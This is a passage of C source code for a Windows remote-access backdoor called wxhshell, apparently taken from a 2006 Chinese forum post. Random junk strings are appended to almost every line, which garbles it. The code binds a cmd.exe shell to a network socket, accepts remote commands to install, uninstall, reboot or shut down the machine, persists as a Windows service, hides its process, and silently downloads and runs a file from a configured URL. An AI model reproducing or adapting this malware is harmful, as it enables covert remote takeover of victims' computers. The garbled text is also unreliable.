  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0sD"Hu  
  } lb{<}1YR0o  
  else { M[g9D  
cNZuwS~,  
    switch(cmd[0]) { y 4j0nF  
  07:CcT  
  // 帮助 oj/,vO:QT  
  case '?': { z^;*&J   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $DuX1T  
    break; 4 Z.G  
  } tF}Vs}  
  // 安装 IV]s!  
  case 'i': { EZ15  
    if(Install()) ]2`PS<a2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X~(%Y#6  
    else 60ccQ7=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #T &z`  
    break; qv>?xKSm  
    } wxYB-Wh<  
  // 卸载 $[x2L s~  
  case 'r': { j-e/nZR@  
    if(Uninstall()) |j3mI\ANF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aY&He~  
    else @8a1a3_F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |1iCt1~U  
    break; v!{mpF  
    } 35|F?Jx.r  
  // 显示 wxhshell 所在路径 !$ItBn/_  
  case 'p': { }d?"i@[  
    char svExeFile[MAX_PATH]; $iu{u|VSu  
    strcpy(svExeFile,"\n\r"); =B-a]?lM  
      strcat(svExeFile,ExeFile); yqi=9NB  
        send(wsh,svExeFile,strlen(svExeFile),0); 3\j{*f$J  
    break; k GR5!8$z  
    } >|1.Z'r/  
  // 重启 0.7* 2s-  
  case 'b': { *.nC'$-2r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c((^l&  
    if(Boot(REBOOT)) nG hFYQl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " lar~  
    else { 1#9qP~#]'{  
    closesocket(wsh); kq xX!  
    ExitThread(0); a"ZBSg(  
    } -L<''2t  
    break; NZ`Mq  
    } XMzL\Edo  
  // 关机 Z\Qa6f!  
  case 'd': { ky*-THS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sz4)xJgF (  
    if(Boot(SHUTDOWN)) 8#b>4 Dx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5:ca6 H  
    else { t 1gH9  
    closesocket(wsh); \i%h/Ao  
    ExitThread(0); $n>|9(K8  
    } EA_6L\+8&  
    break;  o0t/  
    } C QO gR GW  
  // 获取shell unn2MP'  
  case 's': { \@6P A  
    CmdShell(wsh); s2s}5b3  
    closesocket(wsh); j<[+vrj  
    ExitThread(0); 4|i.b?"  
    break; 0`y;[qAG[  
  } yf5X=f.%@  
  // 退出 )Nv$ SH  
  case 'x': { B^`'2$3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jF4h/((|EU  
    CloseIt(wsh); H]>b<Cs  
    break; z@5t7e)!R  
    } woIcW  
  // 离开 0=  ]RG  
  case 'q': { U6SgV 8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gQHE2$i>  
    closesocket(wsh); MHZ!noAr  
    WSACleanup(); an!ceB  
    exit(1); ;`ZGiax  
    break; (5AgI7I,  
        } aI @&x  
  } TXx%\V_6  
  } B]jI^( P  
>:7W.QLRU  
  // 提示信息 _h;#\ )%~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j n[%@zD}  
} V$e\84<  
  } :$eg{IXC"  
haj\Dm  
  return; G+Vlaa/7  
} >(>Fx\z}  
1%W|>M`  
// shell模块句柄 h!#!}|Q'  
int CmdShell(SOCKET sock) +Ja9p  
{ .CXe*Vbd  
STARTUPINFO si; 0>PO4WFVJ  
ZeroMemory(&si,sizeof(si)); ZLK@x.=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F^Q[P4>m\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CH h]v.V  
PROCESS_INFORMATION ProcessInfo; JUBihw4  
char cmdline[]="cmd"; P\#z[TuHKC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ){=2td$=$  
  return 0; "n'LF?/H'  
} K.CwtUt`54  
#)im9LLC#  
// 自身启动模式 6OeRBD&  
int StartFromService(void) 6@ `'}  
{ >C|/%$kk:f  
typedef struct WHh=ht s\  
{ +;nADl+Q  
  DWORD ExitStatus; n|,kL!++.  
  DWORD PebBaseAddress; |UbwPL_L  
  DWORD AffinityMask; xxnMvL;  
  DWORD BasePriority; $O|J8;"v  
  ULONG UniqueProcessId; Rx e sK  
  ULONG InheritedFromUniqueProcessId; 6.fahg?E  
}   PROCESS_BASIC_INFORMATION; S(;3gQ77  
`9%Q2Al  
PROCNTQSIP NtQueryInformationProcess; Mk-C&#'  
mRI W9V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U?dd+2^};t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; adEcIvN$  
0Me *X  
  HANDLE             hProcess; 3\Y}{(O |  
  PROCESS_BASIC_INFORMATION pbi; DkO>?n:-C  
<&&xt ?I.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )KvQaC  
  if(NULL == hInst ) return 0; (C;oot,  
FBfyW- 7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (+g!~MP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +*OY%;dQ7@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,~@0IKIA Q  
lqC a%V  
  if (!NtQueryInformationProcess) return 0; c" mRMDg%  
]stAC3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2+G_Y>  
  if(!hProcess) return 0; XWo=?(iA  
{ZK"K+;h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UH8)r  
P<iS7Ys+  
  CloseHandle(hProcess); ^:0NKq\  
x+h7OvW{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H^s@qh)L  
if(hProcess==NULL) return 0; >j]*=&,7  
Q7PqN1jTE  
HMODULE hMod; %;,D:Tv=&  
char procName[255]; @Bfwb?&  
unsigned long cbNeeded; }<Y3 jQnl  
AuZ?~I1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n*\AB=|X  
Jt4T)c9  
  CloseHandle(hProcess); c9e  }P  
dO Y+| P\  
if(strstr(procName,"services")) return 1; // 以服务启动 7QiJ1P.z  
IQK__)  
  return 0; // 注册表启动 D_E^%Ea&`  
} +nKxSjqI  
A{hwT,zV:  
// 主模块 Gq5)>'D?  
int StartWxhshell(LPSTR lpCmdLine) >M7e'}0 ;  
{ u(KeS`  
  SOCKET wsl; Hl&]r'bK  
BOOL val=TRUE; >iP>v`J  
  int port=0; i>bFQ1Rdx  
  struct sockaddr_in door; $jb3#Rj4  
S\<]|tM:x  
  if(wscfg.ws_autoins) Install(); ]2Aqqy  
;F@dN,Y  
port=atoi(lpCmdLine); |N[SCk>Kj  
!F{5"$  
if(port<=0) port=wscfg.ws_port; 1{+Ni{  
[.P~-6~  
  WSADATA data;  /A|cO   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tq9t(0EL  
[|~X~AO%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dL"$YU9 z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {]-nYHGL  
  door.sin_family = AF_INET; jr" ~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]zVe%Wa  
  door.sin_port = htons(port); UC*<]  
B\bIMjXV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {: EQ  
closesocket(wsl); 9;;1 "^4/  
return 1; Yg%V  
} 6YT*=\KT  
%V;k/w~[  
  if(listen(wsl,2) == INVALID_SOCKET) { WPyd ^Y<  
closesocket(wsl); ee&QZVL>  
return 1; ;B`e;B?1Q  
} Ks09F}  
  Wxhshell(wsl); S5RS?ya  
  WSACleanup(); iXC/? EK4  
 U^ BB|  
return 0; xtU)3I=F%  
:i*JlKHJ d  
} cd}TDd(H%  
 ]\P  
// 以NT服务方式启动 ?"AcK" v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a(Z" }m  
{ K@*m6)  
DWORD   status = 0; 'rf='Y  
  DWORD   specificError = 0xfffffff; Z<y +D-/  
|6\ ?"#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zE.4e&m%Z?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fx.FHhVu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UeE& 8{=d  
  serviceStatus.dwWin32ExitCode     = 0; T4Z("  
  serviceStatus.dwServiceSpecificExitCode = 0; 7K9+7I&C  
  serviceStatus.dwCheckPoint       = 0; `Pl=%DR  
  serviceStatus.dwWaitHint       = 0; `Y.RAw5LrE  
A'|W0|R9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :KX/GN!n  
  if (hServiceStatusHandle==0) return; I?-9%4 8iM  
Ltcr]T(Ic  
status = GetLastError(); V0JoUyZ  
  if (status!=NO_ERROR) Iu0K#.s_  
{ LEVNywk[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  wb4 4  
    serviceStatus.dwCheckPoint       = 0; ZH:#~Zyj  
    serviceStatus.dwWaitHint       = 0; 21 cB_"  
    serviceStatus.dwWin32ExitCode     = status; z!Jce}mx  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3SQ 5C' E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )X\3bPDJR  
    return;  wSV[nK  
  } _* 4 <  
X?rJO~5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XrSqU D  
  serviceStatus.dwCheckPoint       = 0; oB9Fas!N  
  serviceStatus.dwWaitHint       = 0; !9iVe7V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,`+y4Z6`W2  
} RW>Z~Nj  
XA9$n_| bw  
// 处理NT服务事件,比如:启动、停止 +}4vdi"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,O a)  
{ @uY%;%Pa8  
switch(fdwControl) M~N'z /  
{ pS%,wjb&P  
case SERVICE_CONTROL_STOP: Q'~;RE%T  
  serviceStatus.dwWin32ExitCode = 0; "@` mPe/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,\}V.:THF  
  serviceStatus.dwCheckPoint   = 0; ;5y4v  
  serviceStatus.dwWaitHint     = 0; "cJ5Fd:*  
  { 3CQpe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @292;qi  
  } Y/Y746I  
  return; lt0(Kf g  
case SERVICE_CONTROL_PAUSE: b'9G`Y s^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G=Ka{J  
  break; %I Y-0\  
case SERVICE_CONTROL_CONTINUE: 8Qu].nKe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [zf9UUc~  
  break; T_AZCl4d  
case SERVICE_CONTROL_INTERROGATE: FIU( 2  
  break; ci3{k"  
}; 9M01}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9zO;sg;3  
} 2b|vb}|t{  
wZrdr4j  
// 标准应用程序主函数 F>*w)6 4~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jIdhmd* $z  
{ HTx7._b  
o ]Vx6  
// 获取操作系统版本 0TA/ExJ-LT  
OsIsNt=GetOsVer(); nsgNIE{>gO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s?%1/&.~  
YVW!u6W'[6  
  // 从命令行安装 T/ S-}|fhQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,u]kZ]  
L**!$k"{5  
  // 下载执行文件 I[t)V*L9  
if(wscfg.ws_downexe) { V i#(x9.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~q|^z[7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8CEy#%7]}  
} hr6f}2  
;e jC:3yO  
if(!OsIsNt) { ZTS*E,U%  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ti' GSL  
HideProc(); :l9C7o  
StartWxhshell(lpCmdLine); yY_]YeeR  
} =~aJ]T}(  
else ? # G_ &  
  if(StartFromService()) RI*Q-n{  
  // 以服务方式启动 2! wz#EC  
  StartServiceCtrlDispatcher(DispatchTable); 2N)vEUyDV  
else k7W8$8 v  
  // 普通方式启动 8%nTDSp&t  
  StartWxhshell(lpCmdLine); Hh!x&;x}  
3*arW|Xm  
return 0; aUA+%  
}
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只看该作者 1 发表于: 2006-10-10
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